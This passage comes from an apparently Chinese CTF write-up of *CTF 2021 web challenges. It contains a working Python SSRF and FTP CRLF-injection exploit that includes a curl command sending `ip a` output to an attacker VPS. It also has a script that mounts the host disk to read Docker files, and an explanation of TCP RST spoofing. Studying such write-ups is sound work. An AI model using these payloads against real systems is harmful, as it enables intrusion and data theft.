class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64decode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e requests\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e socket\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e threading\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PORT \u0026#x27;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#x27;,\u0026#x27;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#x27;http://52.163.52.206:8088\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#x27;http://23.98.68.11:8088\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eftpd = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.2:8877\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eredis = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.4:6379\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emongo = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.5:27017\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#x27;vps_ip:2334\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarg = mongo\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e mongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e get_mongo\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003erequest = get_mongo(\u003cspan class=\"string\"\u003e\u0026#x27;curl vps_ip:1234/ -H \u0026quot;Host: `ip a|base64`\u0026quot;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003essrf\u003c/span\u003e(\u003cspan class=\"params\"\u003eurl\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = requests.post(a + \u003cspan class=\"string\"\u003e\u0026#x27;/login\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e: url,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;submit\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;Go!\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = page[page.find(\u003cspan class=\"string\"\u003e\u0026#x27;data:image/png;base64,\u0026#x27;\u003c/span\u003e) +\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;data:image/png;base64,\u0026#x27;\u003c/span\u003e):]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = page[:page.find(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026#x27;\u003c/span\u003e)]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = b64decode(page).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = b64decode(page)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e page\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#x27;\\r\\n\u0026#x27;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;ftp://fan:root\u003cspan class=\"subst\"\u003e\u0026#123;cmd\u0026#125;\u003c/span\u003e@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#x27;0.0.0.0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;accepted\u0026#x27;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;sent\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#x27;STOR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;uploaded\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replaying\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#x27;RETR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replayed\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(requests.get(a, cookies=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;session\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;1eb74496-98b9-4acc-94fb-75ba15ddb803\u0026#x27;\u003c/span\u003e\u0026#125;).headers)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;requested\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;RNFR frankli\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;RNTO trash\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-socket\"\u003eoh-my-socket\u003c/h2\u003e\u003cp\u003e不行,必须要公开处刑(逃\u003c/p\u003e\u003cp\u003e为什么题在放出来半个小时后就去fix了呢?\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/privileged.png\" class=\"\" title=\"特 权 阶 级\"\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;fdisk -l\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;mkdir -p /mnt/test\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;mount /dev/vda1 /mnt/test\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;cat /mnt/test/lib/systemd/system/docker.*\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;chroot /mnt/test find . -name \u0026quot;oh-some-funny-code\u0026quot;\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;cat /mnt/test/var/lib/docker/overlay2/*/diff/server/oh-some-funny-code\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;chroot /mnt/test service docker status\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/result.png\" class=\"\" title=\"结 束 了\"\u003e\u003cp\u003e还是我太善良了,没干什么坏事\u003c/p\u003e\u003cp\u003e这道题的正解是这样的:\u003c/p\u003e\u003cp\u003e观察题目,我们能发现server上有flag,还有一个flag service。还有一个client,client上还有任意文件读。我们作为webserver可以执行80秒任意代码,并且出题人贴心地为我们装上了scapy便于tcp包的构造。\u003c/p\u003e\u003cp\u003e这个flag service是阻塞式的服务,也就是说上一个人不断开的话下一个人连不了。然而client上的客户端在启动时就往server那里连了,并且双方都在\u003cstrong\u003e阻塞\u003c/strong\u003e地等待对方的数据(recv),而且还没设置超时,而且还每两分钟就重启一次。看上去有点不太可能实现的样子。\u003cbr\u003e但是当我们仔细观察client的源码,当收到了connection reset(RST)时,client会断开与server端的连接。也就是说我们需要伪造一个从server到client的RST,这时候才能轮到我们去连server。\u003c/p\u003e\u003cp\u003e众所周知(个鬼啊),TCP数据包伪造的重点在于其seq的值。\u003c/p\u003e\u003cp\u003eIP头中,Source IP Address,Destination IP Address我们都有,Protocol是TCP,别的无所谓,都是能自动构造好的\u003cbr\u003eTCP头中,Source Port,Destination Port我们也都有,client那边都bind好了,问题就在于:\u003cbr\u003e双方进行三次握手的过程如下:\u003c/p\u003e\u003col\u003e\u003cli\u003eclient向server发送一个同步包(SYN),序列号为随机数A\u003c/li\u003e\u003cli\u003e1: 服务端响应(ACK)包,序列号为A+1; 2: 服务端发送同步包(SYN),序列号为随机数B (即一个SYN-ACK包)\u003c/li\u003e\u003cli\u003e客户端发送响应包,序列号为B+1\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e后面的数据包的sequence序列号只能落在\u003ccode\u003e(last_seq, last_seq + recv_window)\u003c/code\u003e这个范围内。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"https://github.com/torvalds/linux/blob/19c329f6808995b142b3966301f217c831e7cf31/net/ipv4/tcp_input.c#L5609-L5628\"\u003elinux源码:tcp_validate_incoming\u003c/a\u003e,当然RFC或者计网课本都行,只是待会会用到这个\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_sequence\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct tcp_sock *tp, u32 seq, u32 end_seq)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !\u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(end_seq, tp-\u0026gt;rcv_wup) \u0026amp;\u0026amp; !\u003cspan class=\"built_in\"\u003eafter\u003c/span\u003e(seq, tp-\u0026gt;rcv_nxt + \u003cspan class=\"built_in\"\u003etcp_receive_window\u003c/span\u003e(tp));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后他俩就静默了。如果有任何一方发送了数据包,我们都有可能能抓到这个包,看到seq,这样这个题将绝杀,可是抓不得。\u003c/p\u003e\u003cp\u003e顺着出题人的思路,我们找到了几个paper,还找到了一次看雪论坛的演讲:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ca href=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\"\u003ehttps://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\"\u003ehttps://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://bbs.pediy.com/thread-245982.htm#:~:text=%E7%AC%AC%E4%BA%8C%E4%B8%AA%E6%94%BB%E5%87%BB%E5%8F%98%E7%A7%8D\"\u003ehttps://bbs.pediy.com/thread-245982.htm#:~:text=第二个攻击变种\u003c/a\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e根据上面的资料,我们继续往下跟刚才的linux中的\u003ccode\u003etcp_validate_incoming\u003c/code\u003e,看到如果seq检查不通过的话进到的分支:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!th-\u0026gt;rst) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (th-\u0026gt;syn)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e syn_challenge;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003etcp_oow_rate_limited\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), skb, LINUX_MIB_TCPACKSKIPPEDSEQ, \u0026amp;tp-\u0026gt;last_oow_ack_time))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_dupack\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003etcp_reset_check\u003c/span\u003e(sk, skb)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_reset\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果我们发的包不是RST,且不是SYN,如果seq检查不通过,且linux还不至于认为我们在flood它的话,会进到\u003ccode\u003etcp_send_dupack\u003c/code\u003e,我们进去康康有什么\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_send_dupack\u003c/span\u003e\u003cspan class=\"params\"\u003e(struct sock *sk, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct sk_buff *skb)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan 